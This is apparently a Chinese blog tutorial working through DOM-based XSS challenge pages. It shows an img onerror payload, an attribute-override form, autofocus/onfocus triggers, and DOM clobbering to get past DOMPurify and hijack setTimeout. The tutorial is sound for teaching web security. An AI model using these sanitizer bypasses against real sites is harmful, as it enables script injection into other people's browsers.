DOM型XSS案例

文章目录

  • MDN Web Docs(常简称 MDN------是面向 Web 开发者的一份权威、免费、不断更新的在线文档和教程网站,主要涵盖 HTML、CSS、JavaScript、Web API 等"开放 Web 技术"。

案例1

html 复制代码
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <h2 id="spaghet"></h2>
</body>
<script>
    spaghet.innerHTML = (new URL(location).searchParams.get('somebody') || "Somebody") + " Toucha Ma Spaghet!"
</script>
</html>
  • innerHTML用于修改内容
  • 只防御了< script>标签,可以使用img标签等绕过

案例2

html 复制代码
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    
</body>
</html>

<script>
const data = decodeURIComponent(location.hash.substr(1)) //使用data接收#后面的值
//abc
//createElement 在body中创建一个div标签
const root = document.createElement('div') 
//可理解为root即是div
root.innerHTML = data //将data的值赋给div

//[onerror]
for ( let el of root.querySelectorAll('*')){ //循环遍历div下所有标签。(如: a , p等)
  for (let attr of el.attributes ){ //获取div下标签的属性
    el.removeAttribute(attr.name);   // 对标签中的属性进行移除
  }
}
document.body.appendChild(root);
</script>

2.1、代码分析

  • location
  • location.hash
  • 构造payload
html 复制代码
/dom2.html?name=#<img  src=1 onerror=alert(1)>
  • 可以发现,没有被删除完

  • 下断点调试

  • el.attributes 返回的是一个 实时集合。这意味着当你移除一个属性时,这个集合的长度会变短,索引会发生变化,导致迭代器跳过某些属性。

  1. 核心错误:在遍历集合时修改了集合本身
  2. 现象:
    假设一个标签有 3 个属性:['id', 'class', 'style']。
    第一次循环:取出 id,删除它。此时集合变成了 ['class', 'style']。
    第二次循环:迭代器移动到下一个位置(原本是 index 1),现在 index 1 的位置是 style。
    结果: class 被跳过了,没有删除。

案例3

  • 将2的删除优化,在看案例3之前请先看案例4
js 复制代码
<script>
 const data = decodeURIComponent(location.hash.substr(1));;
 const root = document.createElement('div');
 root.innerHTML = data;

 // 这里模拟了XSS过滤的过程,方法是移除所有属性,sanitizer
 for (let el of root.querySelectorAll('*')) {
  let attrs = [];
  for (let attr of el.attributes) {
   attrs.push(attr.name);
  }
  for (let name of attrs) {
   el.removeAttribute(name);
  }
 }    
  document.body.appendChild(root); 

</script>
  • 此时的img标签的属性被删完
  • 根据覆盖的思路,构造一个form表单,将其中标签的name/id设为attributes,el.attributes得到的就是这些form之中的标签
js 复制代码
    <form action="">
        <img src="x" onerror="alert(1)" name="attributes" >
        <img src="1" alt="" name="attributes" >
    </form>   
  • 如何才能不需要交互触发呢?,构造如下payload
js 复制代码
//tabindex=1时,点击tab键聚焦
    <form tabindex=1 onfocus="alert(1);this.removeAttribute('onfocus');" autofocus=true> 
        <img id=attributes>
        <img id=attributes>
    </form>

案例4

js 复制代码
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <h2 id="boomer">Ok, Boomer.</h2>
</body>
<script src="./js/dist/purify.min.js"></script>
<script>
    boomer.innerHTML = DOMPurify.sanitize(new URL(location).searchParams.get('boomer') || "Ok, Boomer")
    setTimeout(ok, 2000)
</script>
</html>
  • 使用DOMPurify框架,近乎过滤所有xss
  • setTimeout()设置一个定时器,一旦定时器到期,就会执行一个函数或指定的代码片段,将字符串传递进去与eval有相同问题

DOM Clobbering

  • 可以通过id和name属性获取一整个标签

  • 构造payload

html 复制代码
?boomer=<a href="javascript:alert(1)" id=ok>aaa</a>
  • 还没传入ok,href已经被框架过滤
  • 找到DOMPurify框架的白名单,cid、tel都可以像javascript伪协议一样执行github------DOMpurity框架
  • 我们可以构造如下payload
html 复制代码
?boomer=<a href="tel:alert(1)" id=ok>aaa</a>
  • 我们仍面临一个问题setTimeout中的ok如何拿到"tel:alert(1)"?
js 复制代码
<script>
    var div = document.createElement('div')
    div.innerHTML = '<img name=cookie>'
    document.body.appendChild(div)
    console.log(document.cookie)
</script>
  • 可以看到document.cookie 已经被img 标签给覆盖了
js 复制代码
<body>
     <form name="body">
        <img id="appendChild" >
     </form>
</body>

<script>
    var div = document.createElement('div')
    document.body.appendChild(div)
</script>
  • 通过多层覆盖掉了document.body.appendChild 方法,现在它只是一个img标签

  • 再看下面这段代码

js 复制代码
<body>
    <form name="body">
        <img id="appendChild" >
     </form>
</body>
<script>
        var div = document.createElement('div')
     	console.log(Object.prototype.toString.call(document.body.appendChild))
</script>
  • Object.prototype.toString 方法会返回一个表示该对象类型的字符串。.call() 将 document.body.appendChild作为 this 上下文传入。对于原生函数,结果通常是 "[object Function]"

  • 访问得到如图效果,因为属性覆盖,.call指向了 HTML 里的那个 < img> 标签。是⼀个HTMLElment 对象。

  • 再看下面这段代码

js 复制代码
<script> 
    var res = Object.getOwnPropertyNames(window)
    .filter(p => p.match(/Element$/))
    .map(p => window[p])
    .filter(p => p && p.prototype && p.prototype.toString 
    !== Object.prototype.toString)
    console.log(res);
</script>
  1. Object.getOwnPropertyNames(window)
    作用:获取 window 对象上所有自身属性的名称,包括不可枚举的属性。

  2. .filter(p => p.match(/Element$/))
    作用:过滤数组,只保留以字符串 "Element" 结尾的属性名。

  3. .map(p => window[p])
    作用:将"属性名的字符串数组"映射为"实际的构造函数对象数组"。

  4. .filter(p => p && p.prototype && p.prototype.toString !== Object.prototype.toString)
    作用:用于找出"自定义了 toString 方法的构造函数

    4的详细条件拆解:
    p => p:确保变量存在(真值检查),防止 null 或 undefined 导致报错。
    p.prototype:确保它是一个构造函数(拥有 prototype 属性)。
    大多数以 Element 结尾的 DOM 接口都是构造函数,都有 prototype。
    p.prototype.toString !== Object.prototype.toString:
    它比较该构造函数原型上的 toString 方法,是否不等于 Object 原型上的 toString 方法。
    如果相等 (===),说明该构造函数没有重写 toString,它使用的是默认的行为(通常返回 "[object Object]")。
    如果不等 (!==),说明该构造函数(或者它的原型链上游)自定义了 toString 方法。

  • 我们可以得到两种标签对象:HTMLAreaElement (< area>) 和HTMLAnchorElement (< a >)
  • < a > 标签(即 HTMLAnchorElement 对象)的 toString() 方法有一个非常实用的特定作用:它返回该链接的完整 URL 地址(即 href 属性的值)。
js 复制代码
<body>

     <a href="tel:alert(1)" id="ok">Click me</a>
</body>
<script>
        alert(ok)
</script>
  • 当你对 a标签对象进行字符串转换时(比如 alert(ok) 或 String(ok)),它不会默认返回 "[object HTMLAnchorElement]",而是智能地返回该链接的目标地址。
HTMLCollection
  • 如果我们需要x.y这种形式呢?
js 复制代码
<body>
    <div id=x>
    <a id=y href='javascript:alert(1)'></a>
    </div>
</body>
<script> 
    alert(x.y);
</script>
  • 用上面这种只会得到如下图
js 复制代码
<body>
    <div id=x>
    <a id=x name="y" href='javascript:alert(1)'></a>
    </div>
</body>
<script> 
		console.log(x)
    console.log(x.y)
</script>
  • 当 HTML 中存在重复的 id 时,浏览器在 window 对象上会将该 ID 映射为一个 HTMLCollection 集合,而不是单个元素。
  • 这样就可以取到a标签
js 复制代码
<script >
var html = 
["a","abbr","acronym","address","applet","area","article","aside","audio","b",
"base","basefont","bdi","bdo","bgsound","big","blink","blockquote","body","br"
,"button","canvas","caption","center","cite","code","col","colgroup","command"
,"content","data","datalist","dd","del","details","dfn","dialog","dir","div","dl"
,"dt","element","em","embed","fieldset","figcaption","figure","font","footer",
"form","frame","frameset","h1","head","header","hgroup","hr","html","i","iframe","image",
"img","input","ins","isindex","kbd","keygen","label","legend","li","link",
"listing","main","map","mark","marquee","menu","menuitem","meta","meter",
"multicol","nav","nextid","nobr","noembed","noframes","noscript","object"
,"ol","optgroup","option","output","p","param","picture","plaintext","pre",
"progress","q","rb","rp","rt","rtc","ruby","s","samp","script","section","select"
,"shadow","slot","small","source","spacer","span","strike","strong","style","sub",
"summary","sup","svg","table","tbody","td","template","textarea","tfoot","th",
"thead","time","title","tr","track","tt","u","ul","var","video","wbr","xmp "], 
    logs = [];
    div=document.createElement('div')
    for(var i=0;i<html.length;i++)
    {
        for(var j=0;j<html.length;j++) {
        //尝试将列表中的每一个标签作为外部容器(element1)
        //并将每一个标签作为内部元素(element2)。
        //这里没有写闭合标签,依赖浏览器的自动修复机制
        div.innerHTML='<'+html[i]+' id=element1>'+'<'+html[j]+' id=element2>'
        document.body.appendChild(div);
        //element1.element2:检查能否通过外部元素访问到内部元素
        if(window.element1 &&element1.element2){ 
            logs.push(html[i]+','+html[j]);
            }
        document.body.removeChild(div);
        }
    }
    console.log(logs.join('\n'));

</script>
  • 以上代码测试了现在HTML5 基本上所有的标签,使用两层的层级关系 ,注意这⾥只使⽤了id ,并没有使用name,与上⽂的HTMLCollection 并不是⼀种⽅法
相关推荐
程序员鱼皮2 小时前
前特斯拉 AI 总监:AI 编程最大的谎言,是 “提效”
前端·后端·ai·程序员·开发
pusheng20252 小时前
普晟传感2026年新春年会总结与分析
前端·javascript·html
开开心心就好2 小时前
开源免费高速看图工具,支持漫画大图秒开
linux·运维·服务器·安全·ruby·symfony·1024程序员节
谢尔登2 小时前
React19事件调度的设计思路
前端·javascript·react.js
Emma_Maria2 小时前
本地项目html和jquery,访问地址报跨域解决
前端·html·jquery
奋斗吧程序媛2 小时前
常用且好用的命令
前端·编辑器
2301_796512522 小时前
【精通篇】打造React Native鸿蒙跨平台开发高级复合组件库开发系列:Lazyload 懒加载(懒加载的图片)
前端·javascript·react native·react.js·ecmascript·harmonyos
上海云盾第一敬业销售2 小时前
游戏盾在保障游戏安全方面的独特优势
网络·安全·游戏
敲敲了个代码2 小时前
从N倍人力到1次修改:Vite Plugin Modular 如何拯救多产品前端维护困境
前端·javascript·面试·职场和发展·typescript·vite